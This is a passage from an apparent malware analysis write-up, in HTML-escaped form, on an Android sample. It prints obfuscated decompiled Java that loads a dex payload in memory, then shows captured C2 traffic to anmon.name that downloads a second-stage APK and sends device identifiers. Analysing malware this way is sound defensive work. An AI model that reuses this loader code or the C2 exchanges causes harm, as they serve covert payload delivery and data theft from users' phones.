&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>MbFileUtils&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">IsFileAccesible&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>dexPathExt&lt;span style="color:#fe8019">))&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> MbFileUtils&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">deleteFile&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>dexPathExt&lt;span style="color:#fe8019">,&lt;/span> dexPathLocal&lt;span style="color:#fe8019">,&lt;/span> 10&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>MbFileUtils&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">IsFileAccesible&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>dexPathLocal&lt;span style="color:#fe8019">))&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> MbFileUtils&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">RemoveFile&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>dexPathLocal&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">[...]&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* renamed from: RawgqnHman */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">private&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> Class&lt;span style="color:#fe8019">&amp;lt;?&amp;gt;&lt;/span> oloadClass&lt;span style="color:#fe8019">(&lt;/span>String dexPath&lt;span style="color:#fe8019">,&lt;/span> String gowlebs&lt;span style="color:#fe8019">,&lt;/span> ClassLoader parentClass&lt;span style="color:#fe8019">,&lt;/span> String classToLoad&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">throws&lt;/span> ClassNotFoundException &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> baseDexClassLoader&lt;span style="color:#fe8019">(&lt;/span>dexPath&lt;span style="color:#fe8019">,&lt;/span> gowlebs&lt;span style="color:#fe8019">,&lt;/span> parentClass&lt;span style="color:#fe8019">).&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">loadClass&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>classToLoad&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* renamed from: cihb.hhsey.PfcbicbnDiuztzr84$cl */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* loaded from: classes.dex */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">private&lt;/span> &lt;span style="color:#fe8019">static&lt;/span> &lt;span style="color:#fe8019">class&lt;/span> baseDexClassLoader &lt;span style="color:#fe8019">extends&lt;/span> BaseDexClassLoader &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">public&lt;/span> &lt;span style="color:#fabd2f">baseDexClassLoader&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String p&lt;span style="color:#fe8019">,&lt;/span> String d&lt;span style="color:#fe8019">,&lt;/span> ClassLoader c&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">super&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>p&lt;span style="color:#fe8019">,&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> File&lt;span style="color:#fe8019">(&lt;/span>d&lt;span style="color:#fe8019">),&lt;/span> &lt;span style="color:#fe8019">null&lt;/span>&lt;span style="color:#fe8019">,&lt;/span> c&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* renamed from: Zitsj */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">private&lt;/span> &lt;span style="color:#fabd2f">boolean&lt;/span> &lt;span style="color:#fabd2f">loadFile&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>String filename&lt;span style="color:#fe8019">,&lt;/span> String ulqf1&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">throws&lt;/span> ClassNotFoundException&lt;span style="color:#fe8019">,&lt;/span> IOException&lt;span style="color:#fe8019">,&lt;/span> InstantiationException&lt;span style="color:#fe8019">,&lt;/span> IllegalAccessException&lt;span style="color:#fe8019">,&lt;/span> ExceptionInInitializerError&lt;span style="color:#fe8019">,&lt;/span> SecurityException &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>Build&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">VERSION&lt;/span>&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">SDK_INT&lt;/span> &lt;span style="color:#fe8019">&amp;lt;&lt;/span> 26&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">false&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> create_dexbuffer&lt;span style="color:#fe8019">(&lt;/span>MbFileUtils&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">LoadFromFile&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>filename&lt;span style="color:#fe8019">,&lt;/span> 10&lt;span style="color:#fe8019">,&lt;/span> 1024&lt;span style="color:#fe8019">),&lt;/span> ulqf1&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* renamed from: Zitsj */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">private&lt;/span> &lt;span style="color:#fabd2f">boolean&lt;/span> &lt;span style="color:#fabd2f">create_dexbuffer&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>&lt;span style="color:#fabd2f">byte&lt;/span>&lt;span style="color:#fe8019">[]&lt;/span> dexPayload&lt;span style="color:#fe8019">,&lt;/span> String eIgzxfnc7&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">throws&lt;/span> InstantiationException&lt;span style="color:#fe8019">,&lt;/span> IllegalAccessException&lt;span style="color:#fe8019">,&lt;/span> ExceptionInInitializerError&lt;span style="color:#fe8019">,&lt;/span> SecurityException &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ByteBuffer bytebuffer &lt;span style="color:#fe8019">=&lt;/span> ByteBuffer&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">allocate&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>dexPayload&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">length&lt;/span>&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bytebuffer&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">put&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>dexPayload&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bytebuffer&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">position&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>0&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fabd2f">boolean&lt;/span> bHow &lt;span style="color:#fe8019">=&lt;/span> load_dex_1&lt;span style="color:#fe8019">(&lt;/span>bytebuffer&lt;span style="color:#fe8019">,&lt;/span> eIgzxfnc7&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> bytebuffer&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">clear&lt;/span>&lt;span style="color:#fe8019">();&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> bHow&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* renamed from: LlqwqrOemxtv */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">private&lt;/span> &lt;span style="color:#fabd2f">boolean&lt;/span> &lt;span style="color:#fabd2f">load_dex_1&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>ByteBuffer dexBuffer&lt;span style="color:#fe8019">,&lt;/span> String aPxb0&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">throws&lt;/span> InstantiationException&lt;span style="color:#fe8019">,&lt;/span> IllegalAccessException&lt;span style="color:#fe8019">,&lt;/span> ExceptionInInitializerError&lt;span style="color:#fe8019">,&lt;/span> SecurityException &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> ClassLoader pmemoryDexLoad &lt;span style="color:#fe8019">=&lt;/span> memoryDexLoad&lt;span style="color:#fe8019">(&lt;/span>dexBuffer&lt;span style="color:#fe8019">,&lt;/span> getClass&lt;span style="color:#fe8019">().&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">getClassLoader&lt;/span>&lt;span style="color:#fe8019">());&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> Object c &lt;span style="color:#fe8019">=&lt;/span> CggARWZ1e5q1G&lt;span style="color:#fe8019">.&lt;/span>&lt;span style="color:#b8bb26;font-weight:bold">Neljeyab6&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>pmemoryDexLoad&lt;span style="color:#fe8019">,&lt;/span> aPxb0&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">if&lt;/span> &lt;span style="color:#fe8019">(&lt;/span>c &lt;span style="color:#fe8019">!=&lt;/span> &lt;span style="color:#fe8019">null&lt;/span>&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> HucdsbOds&lt;span style="color:#fe8019">((&lt;/span>Class&lt;span style="color:#fe8019">)&lt;/span> c&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">true&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">false&lt;/span>&lt;span style="color:#fe8019">;&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-java" data-lang="java">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#928374;font-style:italic">/* renamed from: BijoCbvl84 */&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">private&lt;/span> ClassLoader &lt;span style="color:#fabd2f">memoryDexLoad&lt;/span>&lt;span style="color:#fe8019">(&lt;/span>ByteBuffer dexBuffer&lt;span style="color:#fe8019">,&lt;/span> ClassLoader parent&lt;span style="color:#fe8019">)&lt;/span> &lt;span style="color:#fe8019">{&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span> &lt;span style="color:#fe8019">return&lt;/span> &lt;span style="color:#fe8019">new&lt;/span> InMemoryDexClassLoader&lt;span style="color:#fe8019">(&lt;/span>dexBuffer&lt;span style="color:#fe8019">,&lt;/span> parent&lt;span style="color:#fe8019">);&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fe8019">}&lt;/span>
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;blockquote>
&lt;p>Context: Interface to global information about an application environment. This is an abstract class whose implementation is provided by the Android system. It allows access to application-specific resources and classes, as well as up-calls for application-level operations such as launching activities, broadcasting and receiving intents, etc.&lt;/p>
&lt;/blockquote>
&lt;h2 id="dynamic-analysis">Dynamic Analysis&lt;/h2>
&lt;p>Install the application and observe the network traffic using BurpSuite proxy.&lt;/p>
&lt;p>&lt;img src="media/install-app.png" alt="">&lt;/p>
&lt;p>&lt;img src="media/allow-permissions.png" alt="">&lt;/p>
&lt;p>&lt;img src="media/android-monitor-msgbox.png" alt="">&lt;/p>
&lt;p>&lt;img src="media/google-play-protect.png" alt="">&lt;/p>
&lt;p>&lt;img src="media/monitor-checker-more-permissions.png" alt="">&lt;/p>
&lt;p>The malware communicates with the C2 and sends the following requests:&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">GET&lt;/span> /am.html &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> AM/20221001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-length&lt;span style="color:#fe8019">:&lt;/span> 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type&lt;span style="color:#fe8019">:&lt;/span> application/json; charset=utf8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> prog-money.com
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HTTP/&lt;span style="color:#d3869b">1.1&lt;/span> &lt;span style="color:#d3869b">200&lt;/span> OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Date: Sun, &lt;span style="color:#d3869b">06&lt;/span> Nov &lt;span style="color:#d3869b">2022&lt;/span> &lt;span style="color:#d3869b">15&lt;/span>:&lt;span style="color:#d3869b">35&lt;/span>:&lt;span style="color:#d3869b">02&lt;/span> GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Server: Apache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade: h&lt;span style="color:#d3869b">2&lt;/span>,h&lt;span style="color:#d3869b">2&lt;/span>c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection: Upgrade, close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Last-Modified: Wed, &lt;span style="color:#d3869b">18&lt;/span> May &lt;span style="color:#d3869b">2022&lt;/span> &lt;span style="color:#d3869b">15&lt;/span>:&lt;span style="color:#d3869b">04&lt;/span>:&lt;span style="color:#d3869b">36&lt;/span> GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Ranges: bytes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: &lt;span style="color:#d3869b">17&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: text/html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>http:&lt;span style="color:#928374;font-style:italic">//anmon.name
&lt;/span>&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">GET&lt;/span> /monitor_checker_link.php?ver=20221001 &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> AM/20221001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-length&lt;span style="color:#fe8019">:&lt;/span> 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type&lt;span style="color:#fe8019">:&lt;/span> application/json; charset=utf8
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> anmon.name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HTTP/&lt;span style="color:#d3869b">1.1&lt;/span> &lt;span style="color:#d3869b">200&lt;/span> OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Date: Sun, &lt;span style="color:#d3869b">06&lt;/span> Nov &lt;span style="color:#d3869b">2022&lt;/span> &lt;span style="color:#d3869b">15&lt;/span>:&lt;span style="color:#d3869b">35&lt;/span>:&lt;span style="color:#d3869b">03&lt;/span> GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Server: Apache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>X-Powered-By: PHP/&lt;span style="color:#d3869b">5.3&lt;/span>.&lt;span style="color:#d3869b">29&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade: h&lt;span style="color:#d3869b">2&lt;/span>,h&lt;span style="color:#d3869b">2&lt;/span>c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection: Upgrade, close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: text/html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: &lt;span style="color:#d3869b">23&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>/files/com.amon/MCh.apk
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">POST&lt;/span> /common/api.php?tp=SendData&amp;amp;type=0&amp;amp;count=0 &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> AM/20221001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type&lt;span style="color:#fe8019">:&lt;/span> application/x-www-form-urlencoded
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length&lt;span style="color:#fe8019">:&lt;/span> 76
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> anmon.name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>act=check_login&amp;amp;access=3b2f38d2b6209573&amp;amp;secure_id=3b2f38d2b6209573&amp;amp;locale=en
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HTTP/1.1 200 OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Date: Sun, 06 Nov 2022 15:35:04 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Server: Apache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>X-Powered-By: PHP/5.3.29
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade: h2,h2c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection: Upgrade, close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: text/html
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: 75
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>{&amp;#34;error&amp;#34;:true,&amp;#34;error_msg&amp;#34;:&amp;#34;Device not attached&amp;#34;,&amp;#34;time_ms&amp;#34;:0.00159597396851}
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">POST&lt;/span> /files/com.amon/MCh.apk &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> AM/20221001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type&lt;span style="color:#fe8019">:&lt;/span> application/x-www-form-urlencoded
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> anmon.name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length&lt;span style="color:#fe8019">:&lt;/span> 0
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>HTTP/1.1 200 OK
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Date: Sun, 06 Nov 2022 15:35:04 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Server: Apache
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Upgrade: h2,h2c
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection: Upgrade, close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Last-Modified: Sat, 17 Apr 2021 06:50:49 GMT
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Ranges: bytes
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length: 64649
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type: application/vnd.android.package-archive
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>PK[...]
&lt;/span>&lt;/span>&lt;/code>&lt;/pre>&lt;/div>&lt;p>&lt;img src="media/dropped-apk.png" alt="">&lt;/p>
&lt;div class="highlight">&lt;pre tabindex="0" style="color:#ebdbb2;background-color:#282828;-moz-tab-size:2;-o-tab-size:2;tab-size:2;">&lt;code class="language-http" data-lang="http">&lt;span style="display:flex;">&lt;span>&lt;span style="color:#fabd2f">POST&lt;/span> /common/get-settings.php &lt;span style="color:#fe8019">HTTP&lt;/span>&lt;span style="color:#fe8019">/&lt;/span>&lt;span style="color:#d3869b">1.1&lt;/span>
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>User-Agent&lt;span style="color:#fe8019">:&lt;/span> AM/20221001
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Connection&lt;span style="color:#fe8019">:&lt;/span> close
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Type&lt;span style="color:#fe8019">:&lt;/span> application/x-www-form-urlencoded
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Content-Length&lt;span style="color:#fe8019">:&lt;/span> 1389
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Host&lt;span style="color:#fe8019">:&lt;/span> anmon.name
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>Accept-Encoding&lt;span style="color:#fe8019">:&lt;/span> gzip, deflate
&lt;/span>&lt;/span>&lt;span style="display:flex;">&lt;span>
